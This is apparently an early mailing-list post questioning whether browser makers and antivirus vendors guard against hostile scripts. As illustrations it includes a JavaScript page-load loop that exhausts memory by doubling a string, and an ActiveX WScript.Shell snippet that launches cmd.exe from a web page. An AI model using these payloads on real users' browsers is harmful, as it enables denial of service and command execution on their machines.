Browser bugs [DoS] ... where will you draw a line?

Shouldn't developers [of Browsers] draw a line...
between a DoS bug and a "can be troublesome" feature
in their web-browsern and put necessary measures in
their code to protect form such nasty codes.  These
days... I’ve been seeing lot of stupid IE/Mozilla DoS
exploits. They do get patched. Should we need another
"Bloodhound" technology in brouser as well for such 
but...... it's strange to see neither neither a
antivirus softwares nor IE / MOZILLA are putting
necessary efforts in their code to prevent such
hostile scripts.....? 

------------
<body onload="hUNT()">
<script language="JavaScript"><!--
var szhUNT="...cauz its a jungle out there!"
function hUNT()
{szhUNT=szhUNT + szhUNT
window.status="String Length is: "+szhUNT.length
window.setTimeout('hUNT()',1);}
// --></script>
-------------

OR 

you could just have a scripts that kicks a infinite
pop up windows!!! or at worst...... lets add a WSH
script...

--------------------------------------
I guess this bug has patch…
--------------------------------------
<object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script>
wsh.Run("cmd.exe /k echo ...today is your lucky
day!"); 
</script> 
--------------------------------------

... such browser features are far *MORE* troublesome
than *any* browser DoS BUGS!!!

the solution shouldn't be to disable scripting......
etc!

so ??????
